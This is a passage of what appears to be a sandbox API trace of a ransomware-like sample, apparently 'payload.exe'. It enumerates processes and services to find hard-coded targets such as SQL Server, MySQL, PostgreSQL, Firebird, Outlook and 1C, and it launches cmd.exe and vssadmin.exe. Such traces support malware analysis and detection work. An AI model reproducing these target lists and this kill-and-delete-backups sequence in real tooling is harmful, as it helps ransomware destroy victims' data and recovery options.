cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.313] lstrlenW (lpString="svchost.exe") returned 11 [0087.313] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0087.313] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.313] lstrlenW (lpString="svchost.exe") returned 11 [0087.313] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0087.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0087.313] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.313] lstrlenW (lpString="svchost.exe") returned 11 [0087.313] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0087.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0087.314] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0087.314] lstrlenW (lpString="audiodg.exe") returned 11 [0087.314] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0087.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0087.314] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0087.314] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0087.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0087.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0087.314] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.314] lstrlenW (lpString="svchost.exe") returned 11 [0087.314] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.315] lstrlenW (lpString="svchost.exe") returned 11 [0087.315] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0087.315] lstrlenW (lpString="userinit.exe") returned 12 [0087.315] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0087.315] lstrlenW (lpString="dwm.exe") returned 7 [0087.315] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0087.315] lstrlenW (lpString="explorer.exe") returned 12 [0087.315] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0087.316] lstrlenW (lpString="spoolsv.exe") returned 11 [0087.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0087.316] lstrlenW (lpString="taskhost.exe") returned 12 [0087.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.316] lstrlenW (lpString="svchost.exe") returned 11 [0087.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0087.316] lstrlenW (lpString="payload.exe") returned 11 [0087.316] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0087.317] lstrlenW (lpString="reader_sl.exe") returned 13 [0087.317] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0087.317] lstrlenW (lpString="cmd.exe") returned 7 [0087.317] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0087.318] lstrlenW (lpString="dllhost.exe") returned 11 [0087.318] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0087.318] lstrlenW (lpString="conhost.exe") returned 11 [0087.318] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0087.318] lstrlenW (lpString="vssadmin.exe") returned 12 [0087.318] Process32NextW (in: hSnapshot=0x1d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0087.318] CloseHandle (hObject=0x1d4) returned 1 [0087.318] Sleep (dwMilliseconds=0x1f4) [0088.001] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4037878 [0088.341] EnumServicesStatusExW (in: hSCManager=0x4037878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0088.342] GetLastError () returned 0xea [0088.342] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc9a) returned 0x403ee10 [0088.342] EnumServicesStatusExW (in: hSCManager=0x4037878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x403ee10, cbBufSize=0xc9a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x403ee10, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0088.343] CloseServiceHandle (hSCObject=0x4037878) returned 1 [0088.343] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0088.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.343] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0088.343] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0088.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0088.344] lstrlenW (lpString="AudioSrv") returned 8 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0088.344] lstrlenW (lpString="BFE") returned 3 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0088.344] lstrlenW (lpString="CryptSvc") returned 8 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0088.344] lstrlenW (lpString="CscService") returned 10 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0088.344] lstrlenW (lpString="DcomLaunch") returned 10 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0088.344] lstrlenW (lpString="Dhcp") returned 4 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0088.344] lstrlenW (lpString="Dnscache") returned 8 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0088.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0088.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0088.344] lstrlenW (lpString="DPS") returned 3 [0088.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0088.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0088.344] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0088.345] lstrlenW (lpString="eventlog") returned 8 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0088.345] lstrlenW (lpString="EventSystem") returned 11 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0088.345] lstrlenW (lpString="gpsvc") returned 5 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0088.345] lstrlenW (lpString="LanmanWorkstation") returned 17 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0088.345] lstrlenW (lpString="lmhosts") returned 7 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0088.345] lstrlenW (lpString="MMCSS") returned 5 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0088.345] lstrlenW (lpString="MpsSvc") returned 6 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0088.345] lstrlenW (lpString="NlaSvc") returned 6 [0088.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0088.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0088.345] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0088.345] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0088.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0088.345] lstrlenW (lpString="nsi") returned 3 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0088.346] lstrlenW (lpString="PcaSvc") returned 6 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0088.346] lstrlenW (lpString="PlugPlay") returned 8 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0088.346] lstrlenW (lpString="Power") returned 5 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0088.346] lstrlenW (lpString="ProfSvc") returned 7 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0088.346] lstrlenW (lpString="RpcEptMapper") returned 12 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0088.346] lstrlenW (lpString="RpcSs") returned 5 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0088.346] lstrlenW (lpString="SamSs") returned 5 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0088.346] lstrlenW (lpString="Schedule") returned 8 [0088.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0088.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0088.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0088.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0088.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0088.347] lstrlenW (lpString="SENS") returned 4 [0088.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0088.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0088.347] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0088.347] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0088.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0088.347] lstrlenW (lpString="ShellHWDetection") returned 16 [0088.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.347] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0088.347] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0088.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0088.347] lstrlenW (lpString="Spooler") returned 7 [0088.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0088.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0088.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0088.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0088.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0088.347] lstrlenW (lpString="Themes") returned 6 [0088.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0088.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0088.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0088.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0088.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0088.347] lstrlenW (lpString="UxSms") returned 5 [0088.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0088.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0088.347] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0088.347] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0088.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0088.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x403ee10 | out: hHeap=0x4f0000) returned 1 [0088.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x230 [0088.349] Process32FirstW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.349] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0088.349] lstrlenW (lpString="System") returned 6 [0088.349] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0088.350] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0088.350] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0088.350] lstrlenW (lpString="smss.exe") returned 8 [0088.350] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0088.350] lstrcmpiW 